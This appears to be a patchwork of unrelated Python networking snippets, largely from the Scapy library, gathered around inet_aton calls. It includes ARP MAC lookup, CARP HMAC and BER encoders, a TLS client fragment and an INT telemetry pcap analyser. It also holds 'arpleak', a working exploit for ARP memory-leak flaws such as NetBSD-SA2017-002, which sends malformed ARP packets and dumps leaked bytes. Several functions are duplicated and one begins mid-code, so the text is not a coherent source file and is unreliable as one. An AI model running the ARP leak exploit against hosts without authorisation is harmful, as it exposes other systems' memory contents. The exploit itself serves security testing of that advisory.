def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip,Net): ip = iter(ip).next() ip = inet_ntoa(inet_aton(ip)) tmp = map(ord, inet_aton(ip)) if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3]) iff,a,gw = conf.route.route(ip) if ( (iff == LOOPBACK_NAME) or (ip == conf.route.get_if_bcast(iff)) ): return "ff:ff:ff:ff:ff:ff" if gw != "0.0.0.0": ip = gw mac = conf.netcache.arp_cache.get(ip) if mac: return mac res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface = iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) if res is not None: mac = res.payload.hwsrc conf.netcache.arp_cache[ip] = mac return mac return None
def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's work since we mess with # important values iface = conf.route.route(pkt.pdst)[0] psrc = get_if_addr(iface) hwsrc = get_if_hwaddr(iface) pkt.plen = plen pkt.hwlen = hwlen if plen == 4: pkt.psrc = psrc else: pkt.psrc = inet_aton(psrc)[:plen] pkt.pdst = inet_aton(pkt.pdst)[:plen] if hwlen == 6: pkt.hwsrc = hwsrc else: pkt.hwsrc = mac2str(hwsrc)[:hwlen] pkts_iface.setdefault(iface, []).append( Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt ) ans, unans = SndRcvList(), PacketList(name="Unanswered") for iface, pkts in viewitems(pkts_iface): ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs) ans += ans_new unans += unans_new ans.listname = "Results" unans.listname = "Unanswered" for _, rcv in ans: if ARP not in rcv: continue rcv = rcv[ARP] psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc) if plen > 4 and len(psrc) > 4: print("psrc") hexdump(psrc[4:]) print() hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc) if hwlen > 6 and len(hwsrc) > 6: print("hwsrc") hexdump(hwsrc[6:]) print() return ans, unans
def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip,Net): ip = iter(ip).next() tmp = map(ord, inet_aton(ip)) if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3]) iff,a,gw = conf.route.route(ip) if ( (iff == LOOPBACK_NAME) or (ip == conf.route.get_if_bcast(iff)) ): return "ff:ff:ff:ff:ff:ff" # Windows uses local IP instead of 0.0.0.0 to represent locally reachable addresses ifip = str(pcapdnet.dnet.intf().get(iff)['addr']) if gw != ifip.split('/')[0]: ip = gw mac = conf.netcache.arp_cache.get(ip) if mac: return mac res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface = iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) if res is not None: mac = res.payload.hwsrc conf.netcache.arp_cache[ip] = mac return mac return None
def build_hmac_sha1(pkt, pw = '\0' * 20, ip4l=None, ip6l=None): if ip4l is None: ip4l = [] if ip6l is None: ip6l = [] if not pkt.haslayer(CARP): return None p = pkt[CARP] h = hmac.new(pw, digestmod = hashlib.sha1) # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field h.update('\x21') # XXX: mac addy if different from special link layer. comes before vhid h.update(struct.pack('!B', p.vhid)) sl = [] for i in ip4l: # sort ips from smallest to largest sl.append(inet_aton(i)) sl.sort() for i in sl: h.update(i) # XXX: do ip6l sorting return h.digest()
def i2m(self, pkt, x): if not x: return b"" if isinstance(x, bytes): return x tmp_len = 2 + len(x) * 4 s = b"\x01\x01" + struct.pack("!H", tmp_len) + b"\x00\x01" for o in x: s += inet_aton(o) return s
def i2m(self, pkt, x): x = inet_aton(x) tmp_len = self.length_from(pkt) if tmp_len <= 8: return x[:1] elif tmp_len <= 16: return x[:2] elif tmp_len <= 24: return x[:3] else: return x
def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x05\x00\x00\x0E\x00\x01" s += struct.pack("!H", x[0]) octet = 0 if x[1] != 0: octet += 2**7 if x[2] != 0: octet += 2**6 s += struct.pack("!B", octet) s += struct.pack("!B", x[3]) s += struct.pack("!H", x[4]) s += inet_aton(x[5]) s += struct.pack("!H", x[6]) return s
def i2m(self, pkt, x): if not x: return b"" if isinstance(x, bytes): return x s = b"\x01\x00" tmp_len = 0 fec = b"" for o in x: fec += b"\x02\x00\x01" # mask length fec += struct.pack("!B", o[1]) # Prefix fec += inet_aton(o[0]) tmp_len += 8 s += struct.pack("!H", tmp_len) s += fec return s
def build_hmac_sha1(self, pw=b'\x00' * 20, ip4l=[], ip6l=[]): h = hmac.new(pw, digestmod=hashlib.sha1) # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field # noqa: E501 h.update(b'\x21') # XXX: mac addy if different from special link layer. comes before vhid h.update(struct.pack('!B', self.vhid)) sl = [] for i in ip4l: # sort ips from smallest to largest sl.append(inet_aton(i)) sl.sort() for i in sl: h.update(i) # XXX: do ip6l sorting return h.digest()
def enc(cls, ipaddr_ascii): try: s = inet_aton(ipaddr_ascii) except Exception: raise BER_Encoding_Error("IPv4 address could not be encoded") return chr(cls.tag)+BER_len_enc(len(s))+s
def enc(cls, ipaddr_ascii): try: s = inet_aton(ipaddr_ascii) except Exception: raise BER_Encoding_Error("IPv4 address could not be encoded") return chr(cls.tag) + BER_len_enc(len(s)) + s
sys.exit("Could not resolve host server: %s" % ex) if args.ciphersuite: ciphers = int(args.ciphersuite, 16) if ciphers not in list(range(0x1301, 0x1306)): ch = TLSClientHello(ciphers=ciphers) else: ch = TLS13ClientHello(ciphers=ciphers) else: ch = None server_name = args.sni # If server name is unknown, try server if not server_name and args.server: try: inet_aton(args.server) except socket.error: server_name = args.server t = TLSClientAutomaton(server=args.server, dport=args.port, server_name=server_name, client_hello=ch, version=args.version, mycert=basedir + "/test/tls/pki/cli_cert.pem", mykey=basedir + "/test/tls/pki/cli_key.pem", psk=args.psk, psk_mode=psk_mode, resumption_master_secret=args.res_master, session_ticket_file_in=args.session_ticket_file_in, session_ticket_file_out=args.session_ticket_file_out,
def analysis_report_pcap(pcap_file: str, total_flows_from_trace: int = 0) -> None: pcap_reader = RawPcapReader(pcap_file) skipped = 0 dropped = 0 # based on seq number prev_seq_no = {} # HW ID -> seq number # Local report local_reports = 0 five_tuple_to_prev_local_report_time = {} # 5-tuple -> latest report time flow_with_multiple_local_reports = set() valid_local_report_irgs = [] bad_local_report_irgs = [] invalid_local_report_irgs = [] # Drop report drop_reports = 0 five_tuple_to_prev_drop_report_time = {} # 5-tuple -> latest report time flow_with_multiple_drop_reports = set() valid_drop_report_irgs = [] bad_drop_report_irgs = [] invalid_drop_report_irgs = [] pkt_processed = 0 while True: try: packet_info = pcap_reader.next() except EOFError: break except StopIteration: break pkt_processed += 1 # packet_info = (raw-bytes, packet-metadata) report_pkt = Ether(packet_info[0]) # packet enter time in nano seconds packet_enter_time = packet_info[1].sec * 1000000000 + packet_info[ 1].usec * 1000 if IntL45ReportFixed not in report_pkt: skipped += 1 continue int_fix_report = report_pkt[IntL45ReportFixed] if IntL45LocalReport in report_pkt: local_reports += 1 int_report = report_pkt[IntL45LocalReport] packet_enter_time = int_report.egress_tstamp five_tuple_to_prev_report_time = five_tuple_to_prev_local_report_time flow_with_multiple_reports = flow_with_multiple_local_reports valid_report_irgs = valid_local_report_irgs bad_report_irgs = bad_local_report_irgs invalid_report_irgs = invalid_local_report_irgs elif IntL45DropReport in report_pkt: drop_reports += 1 int_report = report_pkt[IntL45DropReport] five_tuple_to_prev_report_time = five_tuple_to_prev_drop_report_time flow_with_multiple_reports = flow_with_multiple_drop_reports valid_report_irgs = valid_drop_report_irgs bad_report_irgs = bad_drop_report_irgs invalid_report_irgs = invalid_drop_report_irgs else: # TODO: handle queue report skipped += 1 continue # Check the sequence number hw_id = int_fix_report.hw_id seq_no = int_fix_report.seq_no if hw_id in prev_seq_no: dropped += seq_no - prev_seq_no[hw_id] - 1 prev_seq_no[hw_id] = seq_no # Curently we only process IPv4 packets, but we can process IPv6 if needed. if IP not in int_report: skipped += 1 continue # Checks the internal packet # Here we skip packets that is not a TCP or UDP packet since they can be # fragmented or something else. if TCP in int_report: internal_l4 = int_report[TCP] elif UDP in int_report: internal_l4 = int_report[UDP] else: skipped += 1 continue internal_ip = int_report[IP] five_tuple = ( inet_aton(internal_ip.src), inet_aton(internal_ip.dst), int.to_bytes(internal_ip.proto, 1, "big"), int.to_bytes(internal_l4.sport, 2, "big"), int.to_bytes(internal_l4.dport, 2, "big"), ) if five_tuple in five_tuple_to_prev_report_time: prev_report_time = five_tuple_to_prev_report_time[five_tuple] irg = (packet_enter_time - prev_report_time) / 1000000000 if irg > 0: valid_report_irgs.append(irg) flow_with_multiple_reports.add(five_tuple) if 0 < irg and irg < 0.9: bad_report_irgs.append(irg) if irg <= 0: invalid_report_irgs.append(irg) five_tuple_to_prev_report_time[five_tuple] = packet_enter_time log.info("Pkt processed: {}".format(pkt_processed)) # Local report log.info("Local reports: {}".format(local_reports)) log.info("Total 5-tuples: {}".format( len(five_tuple_to_prev_local_report_time))) log.info("Flows with multiple report: {}".format( len(flow_with_multiple_local_reports))) log.info("Total INT IRGs: {}".format(len(valid_local_report_irgs))) log.info("Total bad INT IRGs(<0.9s): {}".format( len(bad_local_report_irgs))) log.info("Total invalid INT IRGs(<=0s): {}".format( len(invalid_local_report_irgs))) if total_flows_from_trace != 0: log.info("Accuracy score: {}".format( len(five_tuple_to_prev_local_report_time) * 100 / total_flows_from_trace)) if len(valid_local_report_irgs) <= 0: log.info("No valid local report IRGs") else: log.info("Efficiency score: {}".format( (len(valid_local_report_irgs) - len(bad_local_report_irgs)) * 100 / len(valid_local_report_irgs))) # Plot Histogram and CDF report_plot_file = abspath(splitext(pcap_file)[0] + "-local" + ".png") plot_histogram_and_cdf(report_plot_file, valid_local_report_irgs) # Drop report log.info("----------------------") log.info("Drop reports: {}".format(drop_reports)) log.info("Total 5-tuples: {}".format( len(five_tuple_to_prev_drop_report_time))) log.info("Flows with multiple report: {}".format( len(flow_with_multiple_drop_reports))) log.info("Total INT IRGs: {}".format(len(valid_drop_report_irgs))) log.info("Total bad INT IRGs(<0.9s): {}".format(len(bad_drop_report_irgs))) log.info("Total invalid INT IRGs(<=0s): {}".format( len(invalid_drop_report_irgs))) log.info("Total report dropped: {}".format(dropped)) log.info("Skipped packets: {}".format(skipped)) if len(valid_drop_report_irgs) <= 0: log.info("No valid drop report IRGs") else: log.info("Efficiency score: {}".format( (len(valid_drop_report_irgs) - len(bad_drop_report_irgs)) * 100 / len(valid_drop_report_irgs))) report_plot_file = abspath(splitext(pcap_file)[0] + "-drop" + ".png") plot_histogram_and_cdf(report_plot_file, valid_drop_report_irgs)
def build_logon_group(ip, port, kernel): return 'LG_EYECAT' + '\x01' + inet_aton(ip) + '\x00\x00\x00\x00' + \ struct.pack('!h', port) + kernel + '\x00'*6 + (' '*5).encode('UTF-16-LE')